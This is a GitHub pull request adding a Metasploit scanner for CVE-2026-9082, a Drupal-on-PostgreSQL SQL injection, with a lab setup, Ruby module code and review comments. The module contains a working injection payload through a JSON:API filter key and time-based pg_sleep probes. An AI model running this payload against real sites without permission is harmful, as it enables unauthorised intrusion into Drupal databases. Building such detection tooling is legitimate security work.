-
Notifications
You must be signed in to change notification settings - Fork 14.9k
Add Drupal PostgreSQL EntityQuery SQLi scanner #21765
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Changes from 1 commit
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,121 @@ | ||
| ## Vulnerable Application | ||
|
|
||
| CVE-2026-9082 (Drupal SA-CORE-2026-004) affects Drupal core versions >= 8.9.0 | ||
| < 10.4.10, >= 10.5.0 < 10.5.10, >= 10.6.0 < 10.6.9, >= 11.0.0 < 11.1.10, | ||
| >= 11.2.0 < 11.2.12, and >= 11.3.0 < 11.3.10 on PostgreSQL. Drupal 8.9 and 9 | ||
| require the advisory's manual patches because those branches are EOL. | ||
| MySQL, MariaDB, and SQLite are not affected. | ||
|
|
||
| ### Setup with Podman | ||
|
|
||
| From the Metasploit Framework checkout, create vulnerable Drupal 11.2.0 and | ||
| patched Drupal 11.2.12 targets: | ||
|
|
||
| ```bash | ||
| set -euo pipefail | ||
|
|
||
| wait_for() { | ||
| description="$1" | ||
| shift | ||
| for attempt in $(seq 1 90); do | ||
| if "$@"; then | ||
| return 0 | ||
| fi | ||
| sleep 2 | ||
| done | ||
| echo "Timed out waiting for $description" >&2 | ||
| return 1 | ||
| } | ||
|
|
||
| podman network create drupal-net | ||
| podman run -d --name drupal-pg --network drupal-net \ | ||
| -e POSTGRES_DB=drupal -e POSTGRES_USER=drupal -e POSTGRES_PASSWORD=drupal \ | ||
| docker.io/library/postgres:16.3-alpine | ||
| wait_for PostgreSQL podman exec drupal-pg pg_isready -U drupal | ||
| podman exec drupal-pg createdb -U drupal drupal_patched | ||
|
|
||
| install_drupal() { | ||
| name="$1"; image="$2"; port="$3"; db_url="$4" | ||
| podman run -d --name "$name" --network drupal-net -p "127.0.0.1:$port:80" \ | ||
| "docker.io/library/drupal:$image-apache" | ||
| podman exec "$name" sh -c \ | ||
| 'cd /opt/drupal && composer require drush/drush:13.7.0 --no-interaction' | ||
| podman exec "$name" sh -c \ | ||
| "cd /opt/drupal && vendor/bin/drush site:install standard --db-url=$db_url --account-pass=adminpass -y" | ||
| podman exec "$name" sh -c \ | ||
| 'cd /opt/drupal && vendor/bin/drush pm:enable jsonapi -y' | ||
| podman exec "$name" sh -c \ | ||
| 'cd /opt/drupal && vendor/bin/drush php:eval '\''\Drupal\node\Entity\Node::create(["type"=>"article","title"=>"Test"])->save();'\''' | ||
| } | ||
|
|
||
| install_drupal drupal-web-pg 11.2.0 8080 pgsql://drupal:drupal@drupal-pg/drupal | ||
| install_drupal drupal-web-patched 11.2.12 8082 pgsql://drupal:drupal@drupal-pg/drupal_patched | ||
|
|
||
| for port in 8080 8082; do | ||
| wait_for "Drupal JSON:API on port $port" curl -fsS \ | ||
| "http://127.0.0.1:$port/jsonapi/node/article" | ||
| done | ||
| ``` | ||
|
|
||
| Mount the unmerged module and join the target network: | ||
|
|
||
| ```bash | ||
| podman run -it --rm --name msf --network drupal-net \ | ||
| -v "$PWD/modules/auxiliary/scanner/http/drupal_pgsql_entityquery_sqli.rb:/usr/src/metasploit-framework/modules/auxiliary/scanner/http/drupal_pgsql_entityquery_sqli.rb:ro,Z" \ | ||
| docker.io/metasploitframework/metasploit-framework:latest ./msfconsole | ||
| ``` | ||
|
|
||
| With Docker, replace `podman` with `docker` and remove `,Z` from the bind mount. | ||
|
|
||
| ## Verification Steps | ||
|
|
||
| 1. Create the targets and start msfconsole as shown above. | ||
| 1. Run `use auxiliary/scanner/http/drupal_pgsql_entityquery_sqli`. | ||
| 1. Set `RHOSTS` to `drupal-web-pg` and `RPORT` to `80`. | ||
| 1. Run the module and confirm Drupal 11.2.0 is reported vulnerable. | ||
| 1. Repeat with `RHOSTS` set to `drupal-web-patched` and confirm it is safe. | ||
|
|
||
| ## Options | ||
|
|
||
| ### JSONAPI_RESOURCE | ||
|
|
||
| An anonymously readable JSON:API resource as `entity_type/bundle`. It must expose | ||
| at least one entity. (Default: `node/article`) | ||
|
|
||
| ### JSONAPI_FIELD | ||
|
|
||
| A case-insensitive string field on `JSONAPI_RESOURCE`. (Default: `title`) | ||
|
|
||
| ### SqliDelay | ||
|
|
||
| The delay used for the time-based check. Increase it on high-latency targets. | ||
| (Default: `3.0`) | ||
|
|
||
| ## Scenarios | ||
|
|
||
| ### Drupal 11.2.0 and 11.2.12 on PostgreSQL 16.3 | ||
|
|
||
| ``` | ||
| msf > use auxiliary/scanner/http/drupal_pgsql_entityquery_sqli | ||
| msf auxiliary(scanner/http/drupal_pgsql_entityquery_sqli) > set RPORT 80 | ||
| RPORT => 80 | ||
| msf auxiliary(scanner/http/drupal_pgsql_entityquery_sqli) > set RHOSTS drupal-web-pg | ||
| RHOSTS => drupal-web-pg | ||
| msf auxiliary(scanner/http/drupal_pgsql_entityquery_sqli) > run | ||
| [+] 10.89.8.7:80 - The target is vulnerable. Time-based blind SQL injection via JSON:API filter array key | ||
| [*] Scanned 1 of 1 hosts (100% complete) | ||
| [*] Auxiliary module execution completed | ||
| msf auxiliary(scanner/http/drupal_pgsql_entityquery_sqli) > set RHOSTS drupal-web-patched | ||
| RHOSTS => drupal-web-patched | ||
| msf auxiliary(scanner/http/drupal_pgsql_entityquery_sqli) > run | ||
| [*] 10.89.8.8:80 - The target is not exploitable. No time-based SQL injection response detected | ||
| [*] Scanned 1 of 1 hosts (100% complete) | ||
| [*] Auxiliary module execution completed | ||
| ``` | ||
|
|
||
| ### Cleanup | ||
|
|
||
| ```bash | ||
| podman rm -f drupal-web-pg drupal-web-patched drupal-pg 2>/dev/null || true | ||
| podman network rm drupal-net 2>/dev/null || true | ||
| ``` |
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,129 @@ | ||
| # frozen_string_literal: true | ||
|
|
||
| ## | ||
| # This module requires Metasploit: https://metasploit.com/download | ||
| # Current source: https://github.com/rapid7/metasploit-framework | ||
| ## | ||
|
|
||
| class MetasploitModule < Msf::Auxiliary | ||
| include Msf::Exploit::Remote::HttpClient | ||
| include Msf::Auxiliary::Scanner | ||
| include Msf::Auxiliary::Report | ||
| include Msf::Exploit::SQLi | ||
|
|
||
| def initialize(info = {}) | ||
| super( | ||
| update_info( | ||
| info, | ||
| 'Name' => 'Drupal Core PostgreSQL EntityQuery SQL Injection', | ||
| 'Description' => %q{ | ||
| This module detects CVE-2026-9082, an unauthenticated SQL injection in | ||
| Drupal core's PostgreSQL EntityQuery condition handler. It uses a crafted | ||
| JSON:API filter array key to confirm the vulnerability with time-based | ||
| blind SQL injection. MySQL, MariaDB, and SQLite are not affected. | ||
|
|
||
| The configured JSON:API resource must be anonymously readable and expose | ||
| at least one entity with a case-insensitive string field. | ||
| }, | ||
| 'Author' => ['Lukas Johannes Moeller'], | ||
| 'References' => [ | ||
| ['CVE', '2026-9082'], | ||
| ['URL', 'https://www.drupal.org/sa-core-2026-004'], | ||
| ['URL', 'https://github.com/7h30th3r0n3/CVE-2026-9082-Drupal-PoC'] | ||
| ], | ||
| 'DisclosureDate' => '2026-05-20', | ||
| 'License' => MSF_LICENSE, | ||
| 'Notes' => { | ||
| 'Stability' => [CRASH_SAFE], | ||
| 'Reliability' => [], | ||
| 'SideEffects' => [IOC_IN_LOGS] | ||
| } | ||
| ) | ||
| ) | ||
|
|
||
| register_options( | ||
| [ | ||
| OptString.new('JSONAPI_RESOURCE', [true, 'An anonymously readable JSON:API resource as entity_type/bundle', 'node/article']), | ||
| OptString.new('JSONAPI_FIELD', [true, 'A case-insensitive string field to filter on', 'title']) | ||
| ] | ||
| ) | ||
|
|
||
| register_advanced_options( | ||
| [ | ||
| OptFloat.new('SqliDelay', [false, 'Seconds to pg_sleep for each time-based probe', 3.0]) | ||
| ] | ||
| ) | ||
| end | ||
|
|
||
| def jsonapi_uri | ||
| normalize_uri(target_uri.path, 'jsonapi', datastore['JSONAPI_RESOURCE']) | ||
| end | ||
|
|
||
| def filter_vars(injection_key = nil) | ||
| nonce = Rex::Text.rand_text_alphanumeric(8) | ||
| vars = { | ||
| 'filter[sqli][condition][path]' => datastore['JSONAPI_FIELD'], | ||
| 'filter[sqli][condition][operator]' => 'IN', | ||
| 'filter[sqli][condition][value][0]' => "CVE20269082a-#{nonce}", | ||
| 'filter[sqli][condition][value][1]' => "CVE20269082b-#{nonce}" | ||
| } | ||
| vars["filter[sqli][condition][value][#{injection_key}]"] = "CVE20269082c-#{nonce}" if injection_key | ||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Could you please randomize the string
Contributor
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. done |
||
| vars | ||
| end | ||
|
|
||
| # Breaks out of the PDO placeholder name at the first ')'. | ||
| def injection_key(payload) | ||
| "1))/**/OR/**/(#{payload})::text=((chr(49)" | ||
| end | ||
|
|
||
| def create_drupal_sqli | ||
| create_sqli(dbms: PostgreSQLi::TimeBasedBlind) do |payload| | ||
| res = send_request_cgi( | ||
| { 'method' => 'GET', 'uri' => jsonapi_uri, 'vars_get' => filter_vars(injection_key(payload)) }, | ||
| (datastore['SqliDelay'] + 20).ceil | ||
|
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Why + 20 here? Could you explain in a comment after
Contributor
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Good point that was unclear. Its read timeout headroom so the socket outlives pg_sleep(SqliDelay) plus the round-trip, i added a comment |
||
| ) | ||
| raise Rex::ConnectionError, 'No response to the SQL injection probe' unless res | ||
| raise Rex::ConnectionError, "HTTP #{res.code} from the SQL injection probe" if [408, 502, 503, 504].include?(res.code) | ||
|
|
||
| res | ||
| end | ||
| end | ||
|
|
||
| def check_host(ip) | ||
| baseline = send_request_cgi('method' => 'GET', 'uri' => jsonapi_uri) | ||
| return Exploit::CheckCode::Unknown('No response to the baseline JSON:API request') unless baseline | ||
| return Exploit::CheckCode::Unknown("#{jsonapi_uri} returned HTTP #{baseline.code}") unless baseline.code == 200 | ||
|
|
||
| doc = baseline.get_json_document | ||
| data = doc['data'] if doc.is_a?(Hash) | ||
| return Exploit::CheckCode::Unknown("#{datastore['JSONAPI_RESOURCE']} has no entities") unless data.is_a?(Array) && data.any? | ||
|
|
||
| field_res = send_request_cgi('method' => 'GET', 'uri' => jsonapi_uri, 'vars_get' => filter_vars) | ||
| return Exploit::CheckCode::Unknown('No response while validating JSONAPI_FIELD') unless field_res | ||
| return Exploit::CheckCode::Unknown("JSONAPI_FIELD '#{datastore['JSONAPI_FIELD']}' is not valid for this resource") unless field_res.code == 200 | ||
|
|
||
| report_service(host: ip, port: rport, proto: 'tcp', name: ssl ? 'https' : 'http') | ||
| return Exploit::CheckCode::Vulnerable('Time-based blind SQL injection via JSON:API filter array key') if create_drupal_sqli.test_vulnerable | ||
|
|
||
| Exploit::CheckCode::Safe('No time-based SQL injection response detected') | ||
| rescue Rex::ConnectionError => e | ||
| Exploit::CheckCode::Unknown(e.message) | ||
| end | ||
|
|
||
| def run_host(ip) | ||
| code = check_host(ip) | ||
| unless code == Exploit::CheckCode::Vulnerable | ||
| print_status("#{peer} - #{code.message}") | ||
|
JohannesLks marked this conversation as resolved.
|
||
| return | ||
| end | ||
|
|
||
| print_good("#{peer} - #{code.message}") | ||
| report_vuln( | ||
| host: ip, | ||
| port: rport, | ||
| name: name, | ||
| info: code.message, | ||
| refs: references | ||
| ) | ||
| end | ||
| end | ||
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This will get registered by the mixin. But you if re-registering it change the description and make it more custom to
pg_sleepthat's okay with me.metasploit-framework/lib/msf/core/exploit/sqli.rb
Lines 11 to 15 in 1617b3e
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks, i kept the re-register to use a higher default SqliDelay. Is the current description fine?